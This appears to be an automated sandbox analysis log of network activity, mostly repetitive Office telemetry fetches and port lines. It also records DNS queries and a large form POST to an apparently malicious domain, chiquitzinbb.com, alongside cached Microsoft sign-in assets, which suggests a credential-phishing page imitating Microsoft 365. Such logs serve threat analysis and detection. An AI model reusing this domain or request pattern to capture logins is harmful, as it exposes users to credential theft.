Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net

Source: global traffic	DNS traffic detected: DNS query: chiquitzinbb.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: cdn.socket.io
Source: global traffic	DNS traffic detected: DNS query: www.w3schools.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net

Source: unknown

HTTP traffic detected: POST /o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N HTTP/1.1Host: chiquitzinbb.comConnection: keep-aliveContent-Length: 139064Cache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Origin: https://chiquitzinbb.comContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123NAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _cid=3208f6c68a77d81894f07f02460fe283

Source: chromecache_62.2.dr	String found in binary or memory: https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.
Source: chromecache_49.2.dr, chromecache_62.2.dr	String found in binary or memory: https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e3281710
Source: chromecache_49.2.dr, chromecache_62.2.dr	String found in binary or memory: https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49_6ffe0a92d779c878835b40171ffc
Source: chromecache_49.2.dr, chromecache_62.2.dr	String found in binary or memory: https://cdn.socket.io/4.6.0/socket.io.min.js
Source: chromecache_49.2.dr, chromecache_62.2.dr	String found in binary or memory: https://google.com
Source: chromecache_49.2.dr, chromecache_62.2.dr	String found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_7cc096da6aa2dba3f81fcc1c8262157c.pn
Source: chromecache_62.2.dr	String found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.sv
Source: chromecache_49.2.dr, chromecache_62.2.dr	String found in binary or memory: https://www.w3schools.com/w3css/4/w3.css

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
